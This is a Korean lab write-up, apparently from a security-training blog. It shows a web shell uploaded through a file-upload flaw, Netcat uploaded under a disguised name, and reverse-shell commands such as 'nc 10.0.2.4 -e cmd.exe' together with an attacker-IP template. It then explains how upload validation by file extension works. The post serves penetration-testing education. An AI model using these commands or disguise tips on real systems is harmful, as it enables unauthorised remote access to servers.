&lt;p data-ke-size=&quot;size16&quot;&gt;시스템명령어 중 ipconfig 를 입력하여 IP에 대한 결과를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;333&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnhmWf/btsMitBfyYM/TpcZIifUQK6BeZdwjg3E51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnhmWf/btsMitBfyYM/TpcZIifUQK6BeZdwjg3E51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnhmWf/btsMitBfyYM/TpcZIifUQK6BeZdwjg3E51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnhmWf%2FbtsMitBfyYM%2FTpcZIifUQK6BeZdwjg3E51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;333&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;333&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dir 을 입력하면 현재 위치와 폴더 내 파일들을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리눅스의 경우에는 ls 를 입력한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUEFR1/btsMhtBXzdm/aYwN3pmauKEPHHJThfimWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUEFR1/btsMhtBXzdm/aYwN3pmauKEPHHJThfimWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUEFR1/btsMhtBXzdm/aYwN3pmauKEPHHJThfimWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUEFR1%2FbtsMhtBXzdm%2FaYwN3pmauKEPHHJThfimWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;313&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;whoami 를 입력하여 &lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;현재 컴퓨터에 로그온되어 있는 계정의 정보를 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;215&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5OXZA/btsMii0SpQj/gspKxvy5nUtLWReTSrgGuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5OXZA/btsMii0SpQj/gspKxvy5nUtLWReTSrgGuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5OXZA/btsMii0SpQj/gspKxvy5nUtLWReTSrgGuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5OXZA%2FbtsMii0SpQj%2FgspKxvy5nUtLWReTSrgGuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;215&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;215&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 OS Command Injection 과 동일하게 시스템 명령어를 실행할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 명령어 실행을 통해 기본적인 네트워크 정보나 사용자 계정 정보를 확인할 수 있으며, 서버 내부의 파일들을 하나씩 자세하게 확인할 수도 있다. 여러 설정 파일 및 접속 정보를 확인하다가 인근 네트워크 정보도 확인할 수 있다. (DB 접속 정보 등) 이를 통해 데이터베이스에 침투도 가능하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습8-2 파일 업로드 취약점 공격을 통한 Reverse-shell 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 VMWare 의 해커 계정으로 접속하여(공격자 PC)로 웹쉘을 업로드 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 취약점 진단 시 정상적인 게시판인척 작성하여 웹쉘 업로드를 진행한다. 물론 고객사마다 방법은 다르므로, 각 고객사별 상황에 맞게 진행하면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;862&quot; data-origin-height=&quot;612&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3zS7f/btsMjNTNAwv/5moOl42eeH4kTkybTC4jQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3zS7f/btsMjNTNAwv/5moOl42eeH4kTkybTC4jQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3zS7f/btsMjNTNAwv/5moOl42eeH4kTkybTC4jQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3zS7f%2FbtsMjNTNAwv%2F5moOl42eeH4kTkybTC4jQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;862&quot; height=&quot;612&quot; data-origin-width=&quot;862&quot; data-origin-height=&quot;612&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드 후 웹쉘이 접속되는지 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://192.168.56.1/insecure_website/upload/webshell.php ( upload 는 해당 웹사이트의 고유 업로드 디렉터리 )&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;879&quot; data-origin-height=&quot;298&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beKXQS/btsMi3iKk91/HH8oS59v5GJUhmf69HuMq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beKXQS/btsMi3iKk91/HH8oS59v5GJUhmf69HuMq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beKXQS/btsMi3iKk91/HH8oS59v5GJUhmf69HuMq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeKXQS%2FbtsMi3iKk91%2FHH8oS59v5GJUhmf69HuMq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;879&quot; height=&quot;298&quot; data-origin-width=&quot;879&quot; data-origin-height=&quot;298&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;791&quot; data-origin-height=&quot;219&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmOsoD/btsMkclrlZ7/KCjq74RjkBNV27apuq0YM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmOsoD/btsMkclrlZ7/KCjq74RjkBNV27apuq0YM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmOsoD/btsMkclrlZ7/KCjq74RjkBNV27apuq0YM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmOsoD%2FbtsMkclrlZ7%2FKCjq74RjkBNV27apuq0YM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;791&quot; height=&quot;219&quot; data-origin-width=&quot;791&quot; data-origin-height=&quot;219&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 정상적으로 웹쉘 페이지에 접속이 가능한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리버스쉘을 하기위해서 NC(Netcat)을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 Netcat 을 정상적인 파일 업로드 기능을 사용하여 업로드한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Bind Shell 과 Reverse Shell&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Bind Shell(정방향 연결)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 서버에서 서버 포트가 열리고, 클라이언트(공격자)가 서버로 접속하여 생성하는 쉘, 일반적인 서버로 접속하는 형태&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Reverse Shell(역방향 연결)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 클라이언트(공격자)가 리스닝을 하고 서버에서 클라이언트(공격자)쪽으로 접속하는 형태, 일반적인 방화벽 정책은 Inbound 정책은 대부분 차단되지만, Outbound 정책은 허용된 경우가 많기 때문에 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Reverse Shell을 수행하기 위해 Netcat 을 다운로드한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Netcat - 평문 전송&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Ncat - 암호화 전송&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;Netcat 다운로드 링크 - 1.12 버전&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://eternallybored.org/misc/netcat/&quot;&gt;https://eternallybored.org/misc/netcat/&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 VMWare 를 사용하여 공격자 PC의 역할을 하고 있는 칼리리눅스로 netcat 공격을 시도하였으나 리버스 쉘 연결이 되지 않아 윈도우 7 가상환경을 사용하여 netcat 연결을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;435&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d2mVCz/btsMjPK1Ilf/7jmenJkEMdicwDy1kBeWTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d2mVCz/btsMjPK1Ilf/7jmenJkEMdicwDy1kBeWTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d2mVCz/btsMjPK1Ilf/7jmenJkEMdicwDy1kBeWTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd2mVCz%2FbtsMjPK1Ilf%2F7jmenJkEMdicwDy1kBeWTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;923&quot; height=&quot;435&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;435&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 Netcat 을 업로드 할때 파일명 nc.exe 그대로 업로드 하지는 않는다. (정상 파일인척 다른 이름으로 업로드)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;349&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KVbzN/btsMkwD9kp8/Tk5WqNAECkkqTjtym1IYgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KVbzN/btsMkwD9kp8/Tk5WqNAECkkqTjtym1IYgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KVbzN/btsMkwD9kp8/Tk5WqNAECkkqTjtym1IYgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKVbzN%2FbtsMkwD9kp8%2FTk5WqNAECkkqTjtym1IYgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;930&quot; height=&quot;349&quot; data-origin-width=&quot;930&quot; data-origin-height=&quot;349&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드 후 http://192.168.56.1/insecure_website/upload/webshell.php 경로로 접속하여 시스템 명령어를 실행해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dir 명령어를 입력하여 현재 디렉터리에 설치된 파일 (upload 디렉터리)을 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;297&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNVSfs/btsMiCzlMEo/zKOjUxja4fwffIGEKL1ECK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNVSfs/btsMiCzlMEo/zKOjUxja4fwffIGEKL1ECK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNVSfs/btsMiCzlMEo/zKOjUxja4fwffIGEKL1ECK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNVSfs%2FbtsMiCzlMEo%2FzKOjUxja4fwffIGEKL1ECK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;974&quot; height=&quot;297&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;297&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드한 nc.exe 파일이 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리버스 쉘은 서버에서 요청을 하고 클라이언트가 리스닝한 상태에서 응답 후 연결하여 데이터를 주고 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우7에서 Netcat 을 실행 후 nc -lvp 5555 명령어를 입력하여 5555포트로 리스닝을 해준다. (임의의 포트 리스닝)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우7 netcat 이 설치된 디렉터리에서 아래와 같이 입력하여 5555포트로 리스닝 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;711&quot; data-origin-height=&quot;103&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XqSYg/btsMjpMRzM9/CnHBeLpNCCG46TSStY5Qj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XqSYg/btsMjpMRzM9/CnHBeLpNCCG46TSStY5Qj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XqSYg/btsMjpMRzM9/CnHBeLpNCCG46TSStY5Qj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXqSYg%2FbtsMjpMRzM9%2FCnHBeLpNCCG46TSStY5Qj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;711&quot; height=&quot;103&quot; data-origin-width=&quot;711&quot; data-origin-height=&quot;103&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 웹쉘 페이지로 윈도우 7 IP(10.0.2.4)를 조합하여 Netcat 연결을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nc 10.0.2.4 -e cmd.exe&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;e 옵션에서 쉘을 입력해줘야 하는데, 현재는 웹 사이트의 서버가 윈도우라 cmd.exe 를 입력한것이고, 만약 리눅스인 경우에는 -e bin/sh 또는 -e bin/bash 등 해당 서버에 맞는 쉘을 입력해주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;nc.exe [공격자 IP] [Port] -e [Shell]&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Windows - cmd.exe&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Linux/Unix - /bin/sh 또는 /bin/bash&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Netcat 연결을 시도하면 윈도우7에서 netcat 연결이되었다는 CMD 창을 확인할 수 있지만, 현재 어떤 오류에 의해서인지 리버스 쉘 연결이 되지 않아 실습을 진행하지 못했다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;리버스 쉘이 연결되었다면, CMD 창에서 리스닝 문구가 아닌 connet to 192.168.56.1 ~ 문구가 확인된다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;이후 ifconfig 명령어를 입력하면 웹 서버의 IP로 변화된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;이를 통해 파일업로드 공격을 통해서 원격 터미널 연결에 성공한 것을 알 수 있다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;이후 whoami, dir 등의 명령어를 사용하여 해당 서버의 계정과 각 디렉터리 및 파일들을 하나씩 살펴볼 수 있게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4) 검증 로직 유형&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;448&quot; data-origin-height=&quot;210&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btKYEh/btsMk0FxBnj/4Ov11CU3abknAT7u5Kq6Ak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btKYEh/btsMk0FxBnj/4Ov11CU3abknAT7u5Kq6Ak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btKYEh/btsMk0FxBnj/4Ov11CU3abknAT7u5Kq6Ak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtKYEh%2FbtsMk0FxBnj%2F4Ov11CU3abknAT7u5Kq6Ak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;448&quot; height=&quot;210&quot; data-origin-width=&quot;448&quot; data-origin-height=&quot;210&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검증 로직은 파일이 업로드가 될 때, 해당 파일이 정상인지 비정상인지의 기준을 정해서 비정상적인 파일이라는 판단이 될 경우에는 업로드를 중지시키고, 정상적인 파일인경우 업로드를 진행한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 일반적이고 많이 사용되는 로직은 확장자 검증 로직이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확장자 검증: 업로드 되는 파일에 대한 확장자가 정상적인지 비정상적인지 검증하는 기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 검증: 업로드 되는 파일이 이미지인지 아닌지 검증하는 기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 사이즈 검증: 업로드 되는 파일에 대해서 파일에 대한 사이즈가 정해진 업로드 파일 사이즈를 초과하는지 검증(정상 범위내의 파일 용량을 업로드하는지 확인)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5) 확장자 검증 방식에 대한 이해&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;webshell.&lt;span style=&quot;color: #ee2323;&quot;&gt;jsp&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드되는 파일은 파일에 대한 확장자를 가지고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지: jpg, png, gif 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영체제나 특정 프로그램들은 확장자를 기준으로 파일 타입을 판단한다. (이미지 or 텍스트 or 워드 파일인지 판단)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어플리케이션(WAS) 관점에서는 jsp,php,asp 등 서버 사이드 스크립트 확장자를 인식하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 사이드 스크립트 확장자를 업로드하게 되면은 WAS가 컴파일한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 이로 인해 웹쉘 업로드를 하여 시스템 명령어를 전달할 수 있다.&lt;/p&gt;
